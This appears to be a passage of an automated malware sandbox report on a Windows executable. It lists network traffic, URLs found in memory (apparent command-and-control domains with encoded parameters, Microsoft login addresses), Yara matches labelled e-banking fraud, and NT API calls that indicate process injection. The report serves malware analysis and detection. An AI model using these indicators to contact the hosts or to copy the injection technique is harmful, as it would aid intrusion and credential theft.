72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 03 Dec 2024 13:56:40 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 03 Dec 2024 13:56:43 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 03 Dec 2024 13:56:46 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 03 Dec 2024 13:56:49 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Source: cacls.exe, 00000004.00000002.182791208626.00000000058B2000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://224466.top
Source: RAVCpl64.exe, 00000003.00000002.183800347636.0000000008510000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.0000000005720000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://dialogpriest.online
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000837E000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000558E000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://hayaniya.org/vpwx/?pluxVm=QVDEbR6rh5hXI7Ts6cB6silFglbuflfjHrG0P1AfCwx
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot?#iefix
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.otf
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.svg#montserrat-bold
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.ttf
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff2
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot?#iefix
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.otf
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.svg#montserrat-regular
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff2
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/js/min.js?v2.3
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/pics/10667/netsol-logos-2020-165-50.jpg
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/pics/28903/search.png)
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/pics/28905/arrrow.png)
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/pics/29590/bg1.png)
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://i2.cdn-image.com/__media__/pics/468/netsol-favicon-2020.jpg
Source: RAVCpl64.exe, 00000003.00000002.183800347636.0000000006B2C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.0000000003D3C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000005.00000002.179519526215.0000000023C6C000.00000004.80000000.00040000.00000000.sdmp, Pp7OXMFwqhXKx5Y.exe	String found in binary or memory: http://localhost/arkanoid_server/requests.php
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.Epicurecooks.world
Source: RAVCpl64.exe, 00000003.00000002.183789647493.0000000003536000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.brickhills.site
Source: RAVCpl64.exe, 00000003.00000002.183789647493.0000000003536000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.brickhills.site/vwn2/
Source: cacls.exe, 00000004.00000002.182791208626.0000000004DB4000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.brickhills.site/vwn2/?Z1EO=OvfHeluUy&pluxVm=8b9RKtQSBHH07PxtYsipjL/lqfXqYX
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.epicurecooks.world/Epicure_Market_Miami_Beach.cfm?fp=oRjqTKvNE1HJY5QlICDKPU%2FlUKBvBjy%2F
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.epicurecooks.world/Epicure_Selections.cfm?fp=oRjqTKvNE1HJY5QlICDKPU%2FlUKBvBjy%2FRk5sF9Bh
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.epicurecooks.world/Gourmet.cfm?fp=oRjqTKvNE1HJY5QlICDKPU%2FlUKBvBjy%2FRk5sF9Bh%2Fbshv%2Fl
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.epicurecooks.world/Prospect_Epicure_J-REIT_Value_Fund.cfm?fp=oRjqTKvNE1HJY5QlICDKPU%2FlUK
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.epicurecooks.world/Victorian_Epicure.cfm?fp=oRjqTKvNE1HJY5QlICDKPU%2FlUKBvBjy%2FRk5sF9Bh%
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.epicurecooks.world/__media__/design/underconstructionnotice.php?d=epicurecooks.world
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.epicurecooks.world/__media__/js/trademark.php?d=epicurecooks.world&type=ns
Source: cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.epicurecooks.world/px.js?ch=1
Source: cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.epicurecooks.world/px.js?ch=2
Source: cacls.exe, 00000004.00000002.182792439928.0000000006720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.epicurecooks.world/sk-logabpstatus.php?a=NFd0ZVVKdXZlZDdYNHJGc0I1RTNRRkVRVzhkaGNtTDd4UEdy
Source: RAVCpl64.exe, 00000003.00000002.183800347636.0000000008510000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.0000000005720000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.wesped.com/
Source: cacls.exe, 00000004.00000002.182792565138.00000000081CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RAVCpl64.exe, 00000003.00000002.183800347636.00000000086A2000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.00000000058B2000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://beian.miit.gov.cn/
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://cdn.consentmanager.net
Source: cacls.exe, 00000004.00000002.182792565138.00000000081CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RAVCpl64.exe, 00000003.00000002.183800347636.000000000755C000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://delivery.consentmanager.net
Source: cacls.exe, 00000004.00000002.182791208626.000000000476C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://dts.gnpge.com
Source: G8uE-69OL.4.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: cacls.exe, 00000004.00000003.179416057961.000000000823B000.00000004.00000020.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182792565138.00000000081CF000.00000004.00000020.00020000.00000000.sdmp, G8uE-69OL.4.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: G8uE-69OL.4.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: cacls.exe, 00000004.00000002.182792565138.00000000081CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: cacls.exe, 00000004.00000002.182789173794.00000000031AA000.00000004.00000020.00020000.00000000.sdmp, cacls.exe, 00000004.00000003.179407798051.0000000003184000.00000004.00000020.00020000.00000000.sdmp, cacls.exe, 00000004.00000003.179407798051.000000000318D000.00000004.00000020.00020000.00000000.sdmp, cacls.exe, 00000004.00000003.179407998733.00000000031AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: cacls.exe, 00000004.00000002.182789173794.00000000031AA000.00000004.00000020.00020000.00000000.sdmp, cacls.exe, 00000004.00000003.179407798051.000000000318D000.00000004.00000020.00020000.00000000.sdmp, cacls.exe, 00000004.00000003.179407998733.00000000031AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com//
Source: cacls.exe, 00000004.00000003.179407798051.000000000318D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/https://login.live.com/
Source: cacls.exe, 00000004.00000002.182789173794.00000000031AA000.00000004.00000020.00020000.00000000.sdmp, cacls.exe, 00000004.00000003.179407798051.000000000318D000.00000004.00000020.00020000.00000000.sdmp, cacls.exe, 00000004.00000003.179407998733.00000000031AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/v104
Source: cacls.exe, 00000004.00000002.182789173794.0000000003141000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://odc.officeapps.live.com/odc/v2.1/hrd?lcid=1033&syslcid=2057&uilcid=1033&app=1&ver=16&build=1
Source: cacls.exe, 00000004.00000002.182789173794.000000000316C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://odc.officeapps.live.com/odc/v2.1/hrdlcid=1033&syslcid=2057&uilcid=1033&app=1&ver=16&build=16
Source: cacls.exe, 00000004.00000003.179406977109.00000000081BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://odc.officeapps.live.com/odc/v2.1/hrdres://C:
Source: RAVCpl64.exe, 00000003.00000002.183800347636.0000000008510000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.0000000005720000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://sedo.com/checkdomainoffer.php?language=es&domain=dialogpriest.online&partnerid=318876
Source: cacls.exe, 00000004.00000003.179416057961.000000000823B000.00000004.00000020.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182792565138.00000000081CF000.00000004.00000020.00020000.00000000.sdmp, G8uE-69OL.4.dr	String found in binary or memory: https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search
Source: cacls.exe, 00000004.00000003.179416057961.000000000823B000.00000004.00000020.00020000.00000000.sdmp, G8uE-69OL.4.dr	String found in binary or memory: https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: cacls.exe, 00000004.00000002.182792565138.00000000081CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: cacls.exe, 00000004.00000003.179416057961.000000000823B000.00000004.00000020.00020000.00000000.sdmp, G8uE-69OL.4.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: RAVCpl64.exe, 00000003.00000002.183800347636.0000000007880000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.0000000004A90000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.juewucangku.xyz/mia8/?pluxVm=lJqwuwutw0TxfZ38sJgHJ7uqXbvMJU6pA/kgjN31XYZ5TRzvlECqmYueWqh
Source: RAVCpl64.exe, 00000003.00000002.183800347636.0000000008510000.00000004.80000000.00040000.00000000.sdmp, cacls.exe, 00000004.00000002.182791208626.0000000005720000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.wesped.com/cart.php?a=add&domain=register

E-Banking Fraud

Source: Yara match	File source: 2.2.Pp7OXMFwqhXKx5Y.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Pp7OXMFwqhXKx5Y.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.179274577947.0000000005D30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.182790212280.0000000003470000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.179229670326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.182790291540.00000000034C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0042C713 NtClose,	2_2_0042C713
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E34E0 NtCreateMutant,LdrInitializeThunk,	2_2_014E34E0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2BC0 NtQueryInformationToken,LdrInitializeThunk,	2_2_014E2BC0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2B90 NtFreeVirtualMemory,LdrInitializeThunk,	2_2_014E2B90
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2A80 NtClose,LdrInitializeThunk,	2_2_014E2A80
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2D10 NtQuerySystemInformation,LdrInitializeThunk,	2_2_014E2D10
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2EB0 NtProtectVirtualMemory,LdrInitializeThunk,	2_2_014E2EB0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E4260 NtSetContextThread,	2_2_014E4260
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E4570 NtSuspendThread,	2_2_014E4570
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E29D0 NtWaitForSingleObject,	2_2_014E29D0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E29F0 NtReadFile,	2_2_014E29F0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E38D0 NtGetContextThread,	2_2_014E38D0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2B00 NtQueryValueKey,	2_2_014E2B00
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2B10 NtAllocateVirtualMemory,	2_2_014E2B10
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2B20 NtQueryInformationProcess,	2_2_014E2B20
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2BE0 NtQueryVirtualMemory,	2_2_014E2BE0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2B80 NtCreateKey,	2_2_014E2B80
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2A10 NtWriteFile,	2_2_014E2A10
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2AC0 NtEnumerateValueKey,	2_2_014E2AC0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2AA0 NtQueryInformationFile,	2_2_014E2AA0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2D50 NtWriteVirtualMemory,	2_2_014E2D50
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2DC0 NtAdjustPrivilegesToken,	2_2_014E2DC0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2DA0 NtReadVirtualMemory,	2_2_014E2DA0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2C50 NtUnmapViewOfSection,	2_2_014E2C50
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2C10 NtOpenProcess,	2_2_014E2C10
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2C20 NtSetInformationFile,	2_2_014E2C20
